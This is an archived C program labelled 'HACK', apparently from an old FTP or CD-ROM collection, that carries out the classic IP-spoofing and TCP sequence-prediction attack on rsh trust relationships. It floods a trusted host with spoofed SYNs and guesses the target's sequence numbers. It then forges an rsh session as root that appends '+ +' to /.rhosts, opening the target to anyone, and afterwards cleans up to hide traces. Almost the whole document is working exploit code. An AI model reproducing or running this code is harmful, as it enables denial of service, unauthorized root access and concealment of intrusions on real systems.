home *** CD-ROM | disk | FTP | other *** search
-
-
- **************************************************************************
- HACK: An IP spoofing and sequence number exploiting program
- System: TCP/IP
- Source: Mike Neuman, mcn@EnGarde.com
- **************************************************************************
-
- /* This source is subject to the GNU PUBLIC LICENSE. It can be used freely
- * for any non-commercial purpose, and this message and the contact
- * information must remain intact. For commercial purposes, you MUST contact
- * us to obtain a license for it's use. A copy of the GNU PUBLIC LICENSE is
- * available from: ftp://aeneas.mit.edu/pub/gnu/
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * Mike Neuman
- * En Garde Systems
- * 525 Clara Avenue, Suite 202
- * St. Louis, MO 63112
- * mcn@EnGarde.com
- */
-
- #include <stdio.h>
- #include <setjmp.h>
- #include <signal.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <netinet/in_systm.h>
- #include <netinet/in.h>
- #include <net/if.h>
- #include <netinet/if_ether.h>
- #include <netinet/ip.h>
- #include <netinet/tcp.h>
- #include <errno.h>
- #include <netdb.h>
-
- #include "ipbpf.h" /* Include ipbpf header */
-
- #define BADHOST "16.17.18.19"
- /* The host to spoof flooding the trusted
- * host's destination port from. This host shouldn't exist, but should have
- * correct routing entries. The important part is so that returned packets
- * go to nowhere.
- */
-
- #define NUMSEQUENCE 80
- /* The number of connections to spoof from BADHOST. I made this big.
- * I've found 4.4BSD will be flooded with only 8 unacked connections. Your
- * mileage may vary
- */
-
- #define NUMTESTS 10
- /* How many samples of the sequence numbers do you want to take?
- * I randomly picked 10 and only take the last result. If I wanted to be
- * elegant, I'd do some sort of statistical average. Sequence numbers
- * are generally updated by a fixed number, this attempts to compute
- * this number taking into account average network lag. Fixed sequence
- * number updating currently works on: Solaris 2.x, NeXTstep, 4.4BSD, and
- * probably others, although I haven't tested them.
- */
-
- #define ROUTER "router.EnGarde.com"
- /* The name of your router to the outside world. Spoofed packets need to
- * be sent to it's ether/fddi address in order to get to the outside world.
- */
-
- main(argc, argv)
- int argc;
- char *argv[];
-
- {
- struct hostent *he;
- u_long trust_addr, targ_addr;
- u_long seq_num[NUMSEQUENCE], port_num[NUMSEQUENCE];
- u_long next_seq, offset;
-
- if (argc!=3) {
- fprintf(stderr, "Usage: %s trusted-host target\n",argv[0]);
- exit(1);
- }
- if ((he=gethostbyname(argv[1]))==NULL) {
- trust_addr=inet_addr(argv[1]);
- if (trust_addr==(u_long)-1) {
- fprintf(stderr, "Unknown host %s\n", argv[1]);
- exit(1);
- }
- } else
- bcopy(he->h_addr, &trust_addr, 4);
-
- if ((he=gethostbyname(argv[2]))==NULL) {
- targ_addr=inet_addr(argv[2]);
- if (targ_addr==(u_long)-1) {
- fprintf(stderr, "Unknown host %s\n", argv[2]);
- exit(1);
- }
- } else
- bcopy(he->h_addr, &targ_addr, 4);
-
- printf("Initializing Packet Filter\n");
- use_best(); /* Use the best packet filter available on this system */
- if (init_filter("tcp", NULL)) {
- /* Initialize the packet filter and read only TCP packets */
- fprintf(stderr, "Can't init Packet Filter\n");
- exit(1);
- }
-
- /* First, send NUMSEQUENCE connection requests from BADHOST to the
- * trusted host on a trusted port (currently 513). Trusted host will
- * attempt to SYN-ACK these. If BADHOST doesn't exist, there will never
- * be a response ACK. Consequently, trusted host's connection queue wil
- l
- * fill and it will no longer respond to any packets to port 513.
- */
-
- printf("[Hosing Trusted Host...]\n");
- if (hose_trusted(argv[1], trust_addr, seq_num, port_num)) {
- fprintf(stderr, "Couldn't hose %s\n", argv[1]);
- exit(1);
- }
-
- /* Next, do a sampling of the difference in sequence numbers. These pac
- kets
- * are NOT spoofed as receiving the reply is required. Consequently, th
- is
- * host can appear in any packet traces.
- */
- printf("[Determining sequence numbers...]\n");
- if (determine_sequence(argv[2], targ_addr, &next_seq, &offset)) {
- fprintf(stderr, "Couldn't determine sequence numbers for %s\n",
- argv[2]);
- exit(1);
- }
-
- printf("=>Next sequence number is: %u, offset is: %u\n", next_seq, offs
- et);
-
- /* Next, do the actual spoofed connection, now that we know what the ne
- xt
- * sequence number will be.
- */
- printf("[Spoofing Connection...]\n");
- if (spoof_connection(trust_addr, argv[2], targ_addr, next_seq)) {
- fprintf(stderr, "Couldn't spoof connection to %s\n", argv[1]);
- exit(1);
- }
-
- /* Finally, reset all of the half started connections on trusted-host.
- * This will put trusted-host back into it's normal state (and hide
- * the traces that it was used for evil.
- */
- printf("[Cleaning Up Trusted Mess...]\n");
- if (reset_trusted(argv[1], trust_addr, seq_num, port_num)) {
- fprintf(stderr, "Couldn't reset %s. Sucks to be it.\n", argv[1]
- );
- exit(1);
- }
-
- /* fin */
- exit(0);
- }
-
- hose_trusted(trust_host, trust_addr, seq_num, port_num)
- char *trust_host;
- u_long trust_addr;
- u_long seq_num[NUMSEQUENCE];
- u_short port_num[NUMSEQUENCE];
- {
- int i;
- u_long start_seq=49358353+getpid(); /* Make this anything you want */
- u_long start_port=600; /* Make this anything you want */
- struct ether_header eh;
- u_long bad_addr;
-
- /* First attempt to find the hardware address of the trusted host */
- if (ether_hostton(trust_host, &eh.ether_dhost)) {
- /* If that fails, find the hardware address of the router */
- if (ether_hostton(ROUTER, &eh.ether_dhost)) {
- fprintf(stderr, "Can't determine ether addr of trusted
- host or router.\n");
- return(1);
- }
- }
- eh.ether_type=ETHERTYPE_IP;
-
- if ((bad_addr=inet_addr(BADHOST))==(u_long)-1) {
- fprintf(stderr, "Can't convert BADHOST address.\n");
- return(1);
- }
-
- /* Send a whole bunch of spoofed SYNs. Arguments to sendtcppacket_simpl
- e
- * are:
- * sendtcppacket_simple(
- * struct ether_addr source_hardware_address,
- * struct ether_addr destination_hardware_address,
- * u_long source_ip_address,
- * u_long destination_ip_address,
- * u_short source_port,
- * u_short destination_port,
- * u_long sequence_number,
- * u_long acknowldegement_number,
- * int TCP flags (SYN, RST, ACK, PUSH, FIN),
- * char * data,
- * int datalen)
- */
- for (i=0;i<NUMSEQUENCE;i++) {
- port_num[i]=start_port++; /* record the ports and sequence numb
- ers */
- seq_num[i]=start_seq++; /* for later reseting */
-
- sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
- bad_addr, trust_addr,
- port_num[i], 513, /* 513 is rlogin/rsh port */
- seq_num, 0,
- TH_SYN, NULL, 0);
- }
- return(0);
- }
-
- jmp_buf env;
-
- void timedout()
- {
- longjmp(env, 1);
- }
-
- determine_sequence(targ_host, targ_addr, next_seq, offset)
- char *targ_host;
- u_long targ_addr, *next_seq, *offset;
- {
- struct hostent *he;
- struct ether_header eh, eh2;
- struct ip iph;
- struct tcphdr tcph;
- int i;
- u_long start_seq=4138353+getpid(); /* Make this anything you want */
- u_long start_port=600; /* Make this anything you want */
- u_long my_addr;
- char buf[80];
- u_long prev_seq=0, diff=0;
-
- *offset=0;
- /* first attempt to get the destination's hardware address */
- if (ether_hostton(targ_host, &eh.ether_dhost)) {
- /* If that fails, get the router's hardware address */
- if (ether_hostton(ROUTER, &eh.ether_dhost)) {
- fprintf(stderr, "Can't determine ether addr of trusted
- host or router.\n");
- return(1);
- }
- }
- eh.ether_type=ETHERTYPE_IP;
-
- gethostname(buf, 79);
- if ((he=gethostbyname(buf))==NULL) {
- fprintf(stderr, "Can't get my hostname!?\n");
- return(1);
- }
- bcopy(he->h_addr, &my_addr, 4);
- for (i=0;i<NUMTESTS;i++) {
- /* Do a setjmp here for timeouts */
- if (setjmp(env))
- fprintf(stderr, "Response Timed out... Resending...\n")
- ;
- signal(SIGALRM, timedout);
- alarm(0);
- alarm(10); /* Wait 10 seconds for reply */
- sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
- my_addr, targ_addr,
- start_port, 514, /* 514 is rsh port */
- start_seq, 0,
- TH_SYN, NULL, 0);
- /* Send connection request packet */
-
- for (;;) {
- /* Wait until the reply is received. Arguments for read
- packet
- * are:
- * readpacket(
- * struct fddi_header fddi_header,
- * struct ether_header ether_header,
- * struct ip ip_header,
- * struct udphdr udp_header,
- * struct tcphdr tcp_header,
- * char * data,
- * int datalen)
- *
- * return type is the type of packet read
- */
-
- while (readpacket(NULL, &eh2, &iph, NULL, &tcph, NULL,
- NULL)!=
- PTYPE_IP_TCP) ;
- if (ntohs(tcph.th_dport)==start_port &&
- ntohs(tcph.th_sport)==514) {
- /* If the ports match, it's probably a reply--t
- his isn't
- * definite, but it's a pretty good guess .
- * The following attempts to generate a reliabl
- e sequence.
- * Actually, it's pretty dumb. It tries 10 time
- s, then takes
- * the last result. Generally, I've found this
- to work well
- * enough to warrant not writing anything smart
- er.
- */
- if (prev_seq) {
- diff=tcph.th_seq-prev_seq;
- printf("(prev=%u, new=%u, diff=
- %u\n", prev_seq,
- tcph.th_seq, diff);
- } else
- diff=0;
- if (*offset==0)
- *offset=diff;
- else {
- if (*offset!=diff)
- printf("Difference in O
- ffset: old=%u, new=%u\n",
- *offset, diff);
- *offset=diff;
- }
- prev_seq=tcph.th_seq;
- sendtcppacket_simple(
- &(eh.ether_shost), &(eh
- .ether_dhost),
- my_addr, targ_addr,
- start_port++, 514,
- start_seq++, 0,
- TH_RST, NULL, 0);
- /* Send a reset to close the connection
- . Note, this
- * automatically will be sent by localh
- ost unless
- * a service is listening on whatever p
- ort you've
- * chosen to start with at the top of t
- his routine.
- * so I reset it anyway
- */
- break; /* out of infinite for */
- }
- } /* of infinite for */
- alarm(0);
- } /* for i=0 i<numtests... */
- *next_seq=prev_seq+*offset;
- return(0);
- }
-
- spoof_connection(trust_addr, targ_host, targ_addr, next_seq)
- u_long trust_addr, targ_addr, next_seq;
- {
- struct ether_header eh;
- char buf[80];
- struct hostent *he;
- u_long my_addr;
- u_short port=513;
- char *string="0\0root\0root\0echo + + >>/.rhosts\0";
- int stringlen=32;
- u_long seq=385773357;
- int i;
-
- /* As before, get the target's hardware address */
- if (ether_hostton(targ_host, &eh.ether_dhost)) {
- /* If that fails, get the router's hardware address */
- if (ether_hostton(ROUTER, &eh.ether_dhost)) {
- fprintf(stderr, "Can't determine etheraddr of target ho
- st or router.\n");
- return(1);
- }
- }
- eh.ether_type=ETHERTYPE_IP;
-
- /* Send a syn with our own sequence number */
- sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
- trust_addr, targ_addr,
- port, 514,
- seq++, 0,
- TH_SYN, NULL, 0);
- usleep(5000); /* wait for the other side to SYN,ACK */
-
- /* Send the ACK for the sequence number we guessed. I've found we guess
- * right about 90% of the time
- */
- sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
- trust_addr, targ_addr,
- port, 514,
- seq, ++next_seq,
- TH_ACK, NULL, 0);
-
- /* Now, send our rsh request with the proper sequence and ACK nubmers *
- /
- sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
- trust_addr, targ_addr,
- port, 514,
- seq, next_seq,
- TH_ACK, string, stringlen);
- seq+=stringlen;
-
- sleep(1); /* Wait for it to be received, ACKd, and processed */
- /* Send a fin with the our new sequence number and their sequence numbe
- r */
- sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
- trust_addr, targ_addr,
- port, 514,
- seq, next_seq,
- TH_FIN, NULL, 0);
-
- for (i=1;i<4;i++) { /* Send a bunch of ACKs */
- /* If we screwed up the guessing the correct sequence number th
- e remote
- * host is using, guess a whole bunch more just to be sure. We
- could
- * probably reset the connection, but it's better to have the
- * net software hang waiting for a proper FIN/ACK than have the
- * application that we've spoofed into running exit because we
- * reset the connection.
- */
- sleep(2);
- sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
- trust_addr, targ_addr,
- port, 514,
- seq+1, next_seq+i,
- TH_ACK, NULL, 0);
- }
- usleep(50000); /* Finally, send a RST */
- /* Now, if we're really screwed, and ~8 seconds later we haven't guess
- ed
- * the right sequence number, just reset the connection. Hopefully by n
- ow
- * the application has done it's job, so resetting shouldn't cause any
- * problems.
- */
- sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
- trust_addr, targ_addr,
- port, 514,
- seq+1, next_seq+4,
- TH_RST, NULL, 0);
-
- return(0);
- }
-
- reset_trusted(trust_host, trust_addr, seq_num, port_num)
- u_long trust_addr;
- u_long seq_num[NUMSEQUENCE], port_num[NUMSEQUENCE];
- {
- struct ether_header eh;
- u_long bad_addr;
- int i;
-
- if (ether_hostton(trust_host, &eh.ether_dhost)) {
- if (ether_hostton(ROUTER, &eh.ether_dhost)) {
- fprintf(stderr, "Can't determine ether addr of trusted
- host or router.\n");
- return(1);
- }
- }
- eh.ether_type=ETHERTYPE_IP;
-
- if ((bad_addr=inet_addr(BADHOST))==(u_long)-1) {
- fprintf(stderr, "Can't convert BADHOST address.\n");
- return(1);
- }
-
- /* Reset all of the connections we started before */
- for (i=0;i<NUMSEQUENCE;i++) {
- sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
- bad_addr, trust_addr,
- port_num[i], 513,
- seq_num[i], 0,
- TH_RST, NULL, 0);
- }
- return(0);
- }
-
-
-